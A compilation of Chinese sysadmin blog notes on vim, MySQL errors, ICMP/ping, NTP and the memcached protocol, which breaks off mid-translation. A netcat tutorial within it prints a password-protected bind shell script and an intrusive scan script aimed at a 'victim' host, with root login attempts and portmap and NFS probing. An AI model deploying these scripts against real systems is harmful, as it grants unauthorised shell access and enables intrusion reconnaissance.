vim 的代码格式化功能目前还限于缩进的格式化,但是低版本的缩进功能都不好使,原以为vim就那样,不过弄了个高版本的,发现php代码的格式化就好使多了,建议vim更新成高版本的吧!
格式化很简单的:就是 =
即: gg=G
DevOps
vim 的代码格式化功能目前还限于缩进的格式化,但是低版本的缩进功能都不好使,原以为vim就那样,不过弄了个高版本的,发现php代码的格式化就好使多了,建议vim更新成高版本的吧!
格式化很简单的:就是 =
即: gg=G
mysql 4 连接mysql5时可能出现的问题:
[root@ljj ~]# mysql -ulijunjie -h ljj.cn -paaa
ERROR 1251: Client does not support authentication protocol requested by server; consider upgrading MySQL client
[root@ljj ~]# mysql -V
mysql Ver 12.22 Distrib 4.0.25, for pc-linux-gnu (i686)
[root@ljj ~]#
这样才能让别人ping不到我?
1. 首先,ping使用的是什么协议?
ping 使用的是ICMP协议,ICMP的详细解释,请参见:中国协议分析网:http://www.cnpaf.net/
2. 怎样在Windows下让别人ping不到我?
网络连接 > 更改防火墙设置 > 高级
ICMP > 设置
取消 “允许传入回显请求”
3. 怎样在Linux下让别人ping不到我?
还不知道呢?看看iptables就知道了
4. 各种类型的ICMP报文
不同类型由报文中的类型字段和代码字段来共同决定。
因为对ICMP差错报文有时需要作特殊处理,因此我们需要对它们进行区分。例如,在对ICMP差错报文进行响应时,永远不会生成另一份ICM
P差错报文(如果没有这个限制规则,可能会遇到一个差错产生另一个差错的情况,而差错再产生差错,这样会无休止地循环下去)。
当发送一份ICMP差错报文时,报文始终包含IP的首部和产生ICMP差错报文的IP数据报的前8个字节。这样,接收ICMP差错报文的模块就会把它与某个特定的协议(根据IP数据报首部中的协议字段来判断)和用户进程(根据包含在IP数据报前8个字节中的TCP或UDP报文首部中的TCP或UDP端口号来判断)联系起来。6.5节将举例来说明一点。下面各种情况都不会导致产生ICMP差错报文:
1)ICMP差错报文(但是,ICMP查询报文可能会产生ICMP差错报文)。
2)目的地址是广播地址或多播地址
5)的IP数据报。3)作为链路层广播的数据报。
4)不是IP分片的第一片。
5)源地址不是单个主机的数据报。这就是说,源地址不能为零地址、环回地址、广播地址或多播地址。这些规则是为了防止过去允许ICMP差错报文对广播分组响应所带来的广播风暴。
Mysql 服务器在客户端连续产生过多的connect错误时(错误个数超过max_connect_errors),那么该客户端就被列入黑名单,用比较专业的话来说就是"被block了",该客户端将永远不能再连接,直到服务器 flush hosts; 如果错误连接没有达到max_connect_errors时又可以正常连接了,那么计数器清零。
链接是官方的说法:
http://dev.mysql.com/doc/refman/5.0/en/blocked-host.html
产生这种连接错误的可能原因:
http://dev.mysql.com/doc/refman/5.0/en/communication-errors.html
被block的主机再连接服务器时会出现的现象:
服务器端会产生一个警告,这就需要日志的记录级别为警告时才能在错误日志中看到,默认为Error
参考资料:
mysql 的系统 变量:
http://dev.mysql.com/doc/refman/5.0/en/communication-errors.html
mysql 的错误解释:
http://x.discuz.net/405464/viewspace-89361.html
遗留的问题:
1. 服务器端如何查看被block的主机
曾经两次安装 时间服务器:
第一次遇到的问题是:
1. NTP服务器启动之后需要等待几分钟才能使用,否则错误为:no server suitable for synchronization found
2. ntp.conf 需要配置,内容大致为:
——————————–ntp.conf——————————————
# NTP Network Time Protocol
# ATTENTION: *You have to restart the NTP service when you change this file to activate the changes*# Configuration File created by Windows Binary Distribution Installer Rev.: 1.23 mbg
# please check http://www.ntp.org for additional documentation and background information
# Use drift file
driftfile "C:\Program Files\NTP\etc\ntp.drift"
# your local system clock, could be used as a backup
# (this is only useful if you need to distribute time no matter how good or bad it is)
server 127.127.1.0
# but it should operate at a high stratum level to let the clients know and force them to
# use any other timesource they may have.
#fudge 127.127.1.0 stratum 12
# End of generated ntp.conf — Please edit this to suite your needs
—————————————————————————————
注意:红字那行原本是注释掉的,需要打开,否则也是无法同步时间的,至于原因,需要读一下ntp协议了,我还没读呢
Network Time Protocol(NTP)是用来使计算机时间同步化的一种协议,它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)做同步化,它可以提供高精准度的时间校正(LAN上与标准间差小于1毫秒,WAN上几十毫秒),且可介由加密确认的方式来防止恶毒的协议攻击。
NTP如何工作
NTP提供准确时间,首先要有准确的时间来源,这一时间应该是国际标准时间UTC。 NTP获得UTC的时间来源可以是原子钟、天文台、卫星,也可以从Internet上获取。这样就有了准确而可靠的时间源。时间按NTP服务器的等级传播。按照离外部UTC 源的远近将所有服务器归入不同的Stratun(层)中。Stratum-1在顶层,有外部UTC接入,而Stratum-2则从Stratum-1获取时间,Stratum-3从Stratum-2获取时间,以此类推,但Stratum层的总数限制在15以内。所有这些服务器在逻辑上形成阶梯式的架构相互连接,而Stratum-1的时间服务器是整个系统的基础。
计算机主机一般同多个时间服务器连接, 利用统计学的算法过滤来自不同服务器的时间,以选择最佳的路径和来源来校正主机时间。即使主机在长时间无法与某一时间服务器相联系的情况下,NTP服务依然有效运转。
为防止对时间服务器的恶意破坏,NTP使用了识别(Authentication)机制,检查来对时的信息是否是真正来自所宣称的服务器并检查资料的返回路径,以提供对抗干扰的保护机制。
网络校时协议(NTP)的实现
时间服务器可以利用以下三种方式与其他服务器对时:
broadcast/multicast
client/server
symmetric
broadcast/multicast方式主要适用于局域网的环境,时间服务器周期性的以广播的方式,将时间信息传送给其他网路中的时间服务器,其时间仅会有少许的延迟,而且配置非常的简单。但是此方式的精确度并不高,对时间精确度要求不是很高的情况下可以采用。
symmetric的方式得一台服务器可以从远端时间服务器获取时钟,如果需要也可提供时间信息给远端的时间服务器。此一方式适用于配置冗余的时间服务器,可以提供更高的精确度给主机。
client/server方式与symmetric方式比较相似,只是不提供给其他时间服务器时间信息,此方式适用于一台时间服务器接收上层时间服务器的时间信息,并提供时间信息给下层的用户。
上述三种方式,时间信息的传输都使用UDP协议。每一个时间包内包含最近一次的事件的时间信息、包括上次事件的发送与接收时间、传递现在事件的当地时间、及此包的接收时间。在收到上述包后即可计算出时间的偏差量与传递资料的时间延迟。时间服务器利用一个过滤演算法,及先前八个校时资料计算出时间参考值,判断后续校时包的精确性,一个相对较高的离散程度,表示一个对时资料的可信度比较低。仅从一个时间服务器获得校时信息,不能校正通讯过程所造成的时间偏差,而同时与许多时间服务器通信校时,就可利用过滤算法找出相对较可靠的时间来源,然后采用它的时间来校时
协议结构
LI:跳跃指示器,警告在当月最后一天的最终时刻插入的迫近闺秒(闺秒)。
VN:版本号。
Mode:模式。该字段包括以下值:0-预留;1-对称行为;3-客户机;4-服务器;5-广播;6-NTP 控制信息
Stratum:对本地时钟级别的整体识别。
Poll:有符号整数表示连续信息间的最大间隔。
Precision:有符号整数表示本地时钟精确度。
Root Delay:有符号固定点序号表示主要参考源的总延迟,很短时间内的位15到16间的分段点。
Root Dispersion:无符号固定点序号表示相对于主要参考源的正常差错,很短时间内的位15到16间的分段点。
Reference Identifier:识别特殊参考源。
Originate Timestamp:这是向服务器请求分离客户机的时间,采用64位时标(Timestamp)格式。
Receive Timestamp:这是向服务器请求到达客户机的时间,采用64位时标(Timestamp)格式。
Transmit Timestamp:这是向客户机答复分离服务器的时间,采用64位时标(Timestamp)格式。
Authenticator(Optional):当实现了 NTP 认证模式,主要标识符和信息数字域就包括已定义的信息认证代码(MAC)信息。
一、基本使用
Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] …
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
二、用于传输文件——ncp
#! /bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
## 在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ,会将传输文件压缩
## 这里定义你想使用的端口,可以自由选择
MYPORT=23456
## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
# PATH=${HOME}:${PATH} ; export PATH
## 下面这几行检查参数输入情况
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=echo $0 | sed 's+.*/++'
test "$me" = "nzp" && echo ‘[compressed mode]’
# if second arg, it’s a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "can’t find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi
# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意这里nc的用法,结合了重定向符号和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, $1 is already trashed
rm -f "$1"
exit 1
这样的话,我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 …
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下,文件传输完毕。
三、用于绑定端口——bsh
首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。
#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数,即端口号
NC=nc
case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
#注意这里nc的用法,参数-l是lister,-e是执行重定向
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac
# here we play inetd
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
while read qq ; do
case "$qq" in
# 这里就是弱密码保护了,密码是quack
quack )
cd /
exec csh -i
;;
esac
done
要看看它是怎么使用的么?
quack# ./bsh 6666 <——-输入,后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <———-输入
-l -p 6666 -e ./bsh
quack <———-输入,密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#
四、 用于端口扫描——probe
在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都
需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。
#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!
# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11
# might conceivably wanna change this for different run styles
UCMD=’nc -v -w 8′
test ! "$1" && echo Needs victim arg && exit 1
echo ” | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo ‘0’ | $UCMD "$1" 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s hostname
may be wrong for some multihomed machines
echo ‘UDP echoecho!’ | nc -u -p 7 -s hostname
-w 3 "$1" 7 19 2>&1
echo ‘113,10158’ | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ”
echo PASV | $UCMD -r "$1" 21 2>&1
echo ‘GET /’ | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么?;)
echo ‘GET /robots.txt’ | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo ‘BEGIN big udp — everything may look "open" if packet-filtered’
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo ‘END big udp’
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
rpcinfo -p "$1" 2>&1
fi
exit 0
感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
这样扫描会留下大量的痕迹,系统管理员会额外小心;)
多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
些脚本,从中获得一些思路。
协议
|
Protocol
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
memcached 的客户端使用TCP链接 与 服务器通讯。(UDP接口也同样有效,参考后文的 “UDP协议” )一个运行中的memcached服务器监视一些(可设置)端口。客户端连接这些端口,发送命令到服务器,读取回应,最后关闭连接。 | Clients of memcached communicate with server through TCP connections. (A UDP interface is also available; details are below under "UDP protocol.") A given running memcached server listens on some (configurable) port; clients connect to that port, send commands to the server, read responses, and eventually close the connection. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
结束会话不需要发送任何命令。当不再需memcached服务时,要客户端可以在任何时候关闭连接。需要注意的是,鼓励客户端缓存这些连接,而不是每次需要存取数据时都重新打开连接。这是因为memcached 被特意设计成及时开启很多连接也能够高效的工作(数百个,上千个如果需要的话)。缓存这些连接,可以消除建立连接所带来的开销(/*/相对而言,在服务器端建立一个新连接的准备工作所带来的开销,可以忽略不计。)。 | There is no need to send any command to end the session. A client may just close the connection at any moment it no longer needs it. Note, however, that clients are encouraged to cache their connections rather than reopen them every time they need to store or retrieve data. This is because memcached is especially designed to work very efficiently with a very large number (many hundreds, more than a thousand if necessary) of open connections. Caching connections will eliminate the overhead associated with establishing a TCP connection (the overhead of preparing for a new connection on the server side is insignificant compared to this). | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在memcache协议中发送的数据分两种:文本行 和 自由数据。 文本行被用于来自客户端的命令和服务器的回应。自由数据用于客户端从服务器端存取数据时。同样服务器会以字节流的方式传回自由数据。/*/服务器不用关心自由数据的字节顺序。自由数据的特征没有任何限制;但是通过前文提到的文本行,这项数据的接受者(服务器或客户端),便能够精确地获知所发送的数据库的长度。 |
There are two kinds of data sent in the memcache protocol: text lines and unstructured data. Text lines are used for commands from clients and responses from servers. Unstructured data is sent when a client wants to store or retrieve data. The server will transmit back unstructured data in exactly the same way it received it, as a byte stream. The server doesn’t care about byte order issues in unstructured data and isn’t aware of them. There are no limitations on characters that may appear in unstructured data; however, the reader of such data (either a client or a server) will always know, from a preceding text line, the exact length of the data block being transmitted. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
文本行固定以“\r\n”(回车符紧跟一个换行符)结束。 自由数据也是同样会以“\r\n”结束,但是 \r(回车符)、\n(换行符),以及任何其他8位字符,均可出现在数据中。因此,当客户端从服务器取回数据时,必须使用数据区块的长度来确定数据区块的结束位置,而不要依据数据区块末尾的“\r\n”,即使它们固定存在于此。 |
Text lines are always terminated by \r\n. Unstructured data is _also_ terminated by \r\n, even though \r, \n or any other 8-bit characters may also appear inside the data. Therefore, when a client retrieves data from a server, it must use the length of the data block (which it will be provided with) to determine where the data block ends, and not the fact that \r\n follows the end of the data block, even though it does. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
键值
|
Keys
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
存储在memcached中的数据通过键值来标识。键值是一个文本字符串,对于需要存取这项数据的客户端而言,它必须是唯一的。键值当前的长度限制设定为250字符(当然,客户端通常不会用到这么长的键);键值中不能使用制表符和其他空白字符(例如空格,换行等)。 |
Data stored by memcached is identified with the help of a key. A key is a text string which should uniquely identify the data for clients that are interested in storing and retrieving it. Currently the length limit of a key is set at 250 characters (of course, normally clients wouldn’t need to use such long keys); the key must not include control characters or whitespace. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
命令
|
Commands
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
所有命令分为3种类型 | There are three types of commands. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
存储命令(有3项:’set’、’add’、’repalce’)指示服务器储存一些由键值标识的数据。客户端发送一行命令,后面跟着数据区块;然后,客户端等待接收服务器回传的命令行,指示成功与否。 |
Storage commands (there are three: "set", "add" and "replace") ask the server to store some data identified by a key. The client sends a command line, and then a data block; after that the client expects one line of response, which will indicate success or faulure. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
取回命令(只有一项:’get’)指示服务器返回与所给键值相符合的数据(一个请求中右一个或多个键值)。客户端发送一行命令,包括所有请求的键值;服务器每找到一项内容,都会发送回客户端一行关于这项内容的信息,紧跟着是对应的数据区块;直到服务器以一行“END”回应命令结束。 |
Retrieval commands (there is only one: "get") ask the server to retrieve data corresponding to a set of keys (one or more keys in one request). The client sends a command line, which includes all the requested keys; after that for each item the server finds it sends to the client one response line with information about the item, and one data block with the item’s data; this continues until the server finished with the "END" response line. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
/*?*/其他的命令都不能携带自由数据。在这些命令中,客户端发送一行命令,然后等待(由命令所决定)一行回应,或最终以一行“END”结束的多行命令。 |
All other commands don’t involve unstructured data. In all of them, the client sends one command line, and expects (depending on the command) either one line of response, or several lines of response ending with "END" on the last line. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
一行命令固定以命令名称开始,接着是以空格隔开的参数(如果有参数的话)。命令名称大小写敏感,并且必须小写。 |
A command line always starts with the name of the command, followed by parameters (if any) delimited by whitespace. Command names are lower-case and are case-sensitive. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
一些客户端发送给服务器的命令会包含一些时限(针对内容或客户端请求的操作)。这时,时限的具体内容既可以是Unix时间戳(从1970年1月1日开始的秒钟数),或当前时间开始的秒钟数。对后者而言,不能超过 60*60*24*30(30天);如果超出,服务器将会理解为Unix时间戳,而不是从当前时间起的秒偏移。 |
Some commands involve a client sending some kind of expiration time (relative to an item or to an operation requested by the client) to the server. In all such cases, the actual value sent may either be Unix time (number of seconds since January 1, 1970, as a 32-bit value), or a number of seconds starting from current time. In the latter case, this number of seconds may not exceed 60*60*24*30 (number of seconds in 30 days); if the number sent by a client is larger than that, the server will consider it to be real Unix time value rather than an offset from current time. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
错误字串
|
Error strings
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
每一个由客户端发送的命令,都可能收到来自服务器的错误字串回复。这些错误字串会以三种形式出现: | Each command sent by a client may be answered with an error string from the server. These error strings come in three types: |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "ERROR\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
意味着客户端发送了不存在的命令名称。 | means the client sent a nonexistent command name. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "CLIENT_ERROR <error>\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
意味着输入的命令行里存在一些客户端错误,例如输入未遵循协议。<error>部分是人类易于理解的错误解说…… | means some sort of client error in the input line, i.e. the input doesn’t conform to the protocol in some way. <error> is a human-readable error string. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "SERVER_ERROR <error>\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
意味着一些服务器错误,导致命令无法执行。<error>部分是人类易于理解的错误解说。在一些严重的情形下(通常应该不会遇到),服务器将在发送这行错误后关闭连接。这是服务器主动关闭连接的唯一情况。 |
means some sort of server error prevents the server from carrying out the command. <error> is a human-readable error string. In cases of severe server errors, which make it impossible to continue serving the client (this shouldn’t normally happen), the server will close the connection after sending the error line. This is the only case in which the server closes a connection to a client. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在后面每项命令的描述中,这些错误行不会再特别提到,但是客户端必须考虑到这些它们存在的可能性。 | In the descriptions of individual commands below, these error lines are not again specifically mentioned, but clients must allow for their possibility. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
存储命令
|
Storage commands
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
首先,客户端会发送一行像这样的命令: | First, the client sends a command line which looks like this: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
<command name> <key> <flags> <exptime> <bytes>\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <command name> 是 set, add, 或者 repalce | – <command name> is "set", "add" or "replace" | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <key> 是接下来的客户端所要求储存的数据的键值 | – <key> is the key under which the client asks to store the data | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <flags> 是在取回内容时,与数据和发送块一同保存服务器上的任意16位无符号整形(用十进制来书写)。客户端可以用它作为“位域”来存储一些特定的信息;它对服务器是不透明的。 |
– <flags> is an arbitrary 16-bit unsigned integer (written out in decimal) that the server stores along with the data and sends back when the item is retrieved. Clients may use this as a bit field to store data-specific information; this field is opaque to the server. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <exptime> 是终止时间。如果为0,该项永不过期(虽然它可能被删除,以便为其他缓存项目腾出位置)。如果非0(Unix时间戳或当前时刻的秒偏移),到达终止时间后,客户端无法再获得这项内容。 |
– <exptime> is expiration time. If it’s 0, the item never expires (although it may be deleted from the cache to make place for other items). If it’s non-zero (either Unix time or offset in seconds from current time), it is guaranteed that clients will not be able to retrieve this item after the expiration time arrives (measured by server time). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <bytes> 是随后的数据区块的字节长度,不包括用于分野的“\r\n”。它可以是0(这时后面跟随一个空的数据区块)。 | – <bytes> is the number of bytes in the data block to follow, *not* including the delimiting \r\n. <bytes> may be zero (in which case it’s followed by an empty data block). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
在这一行以后,客户端发送数据区块。 | After this line, the client sends the data block: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
<data block>\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <data block> 是大段的8位数据,其长度由前面的命令行中的<bytes>指定。 | – <data block> is a chunk of arbitrary 8-bit data of length <bytes> from the previous line. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
发送命令行和数据区块以后,客户端等待回复,可能的回复如下: | After sending the command line and the data blockm the client awaits the reply, which may be: |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "STORED\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
表明成功. | to indicate success. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "NOT_STORED\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
表明数据没有被存储,但不是因为发生错误。这通常意味着add 或 replace命令的条件不成立,或者,项目已经位列删除队列(参考后文的“delete”命令)。 |
to indicate the data was not stored, but not because of an error. This normally means that either that the condition for an "add" or a "replace" command wasn’t met, or that the item is in a delete queue (see the "delete" command below). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
取回命令
|
Retrieval command
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
一行取回命令如下: | The retrieval command looks like this: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
get <key>*\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <key>* 表示一个或多个键值,由空格隔开的字串 | – <key>* means one or more key strings separated by whitespace. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
这行命令以后,客户端的等待0个或多个项目,每项都会收到一行文本,然后跟着数据区块。所有项目传送完毕后,服务器发送以下字串: |
After this command, the client expects zero or more items, each of which is received as a text line followed by a data block. After all the items have been transmitted, the server sends the string |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
"END\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
来指示回应完毕。 | to indicate the end of response. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
服务器用以下形式发送每项内容: | Each item sent by the server looks like this: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
VALUE <key> <flags> <bytes>\r\n <data block>\r\n |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <key> 是所发送的键名 | – <key> is the key for the item being sent | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <flags> 是存储命令所设置的记号 |
– <flags> is the flags value set by the storage command
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <bytes> 是随后数据块的长度,*不包括* 它的界定符“\r\n” | – <bytes> is the length of the data block to follow, *not* including its delimiting \r\n |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <data block> 是发送的数据 | – <data block> is the data for this item. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
如果在取回请求中发送了一些键名,而服务器没有送回项目列表,这意味着服务器没这些键名(可能因为它们从未被存储,或者为给其他内容腾出空间而被删除,或者到期,或者被已客户端删除)。 |
If some of the keys appearing in a retrieval request are not sent back by the server in the item list this means that the server does not hold items with such keys (because they were never stored, or stored but deleted to make space for more items, or expired, or explicitly deleted by a client). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
删除
|
Deletion
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
命令“delete”允许从外部删除内容: | The command "delete" allows for explicit deletion of items: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
delete <key> <time>\r\n | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <key> 是客户端希望服务器删除的内容的键名 | – <key> is the key of the item the client wishes the server to delete | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– <time> 是一个单位为秒的时间(或代表直到某一刻的Unix时间),在该时间内服务器会拒绝对于此键名的“add”和“replace”命令。此时内容被放入delete队列,无法再通过“get”得到该内容,也无法是用“add”和“replace”命令(但是“set”命令可用)。直到指定时间,这些内容被最终从服务器的内存中彻底清除。 |
– <time> is the amount of time in seconds (or Unix time until which) the client wishes the server to refuse "add" and "replace" commands with this key. For this amount of item, the item is put into a delete queue, which means that it won’t possible to retrieve it by the "get" command, but "add" and "replace" command with this key will also fail (the "set" command will succeed, however). After the time passes, the item is finally deleted from server memory. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
<time>参数 是可选的,缺省为0(表示内容会立刻清除,并且随后的存储命令均可用)。 |
The parameter <time> is optional, and, if absent, defaults to 0 (which means that the item will be deleted immediately and further storage commands with this key will succeed). |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
此命令有一行回应: | The response line to this command can be one of: | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "DELETED\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
表示执行成功 | to indicate success | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
– "NOT_FOUND\r\n" | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
表示没有找到这项内容 | to indicate that the item with this key was not found. | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
参考随后的“flush_all”命令使所有内容无效 |
See the "flush_all" command below for immediate invalidation of all existing items. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
增加/减少
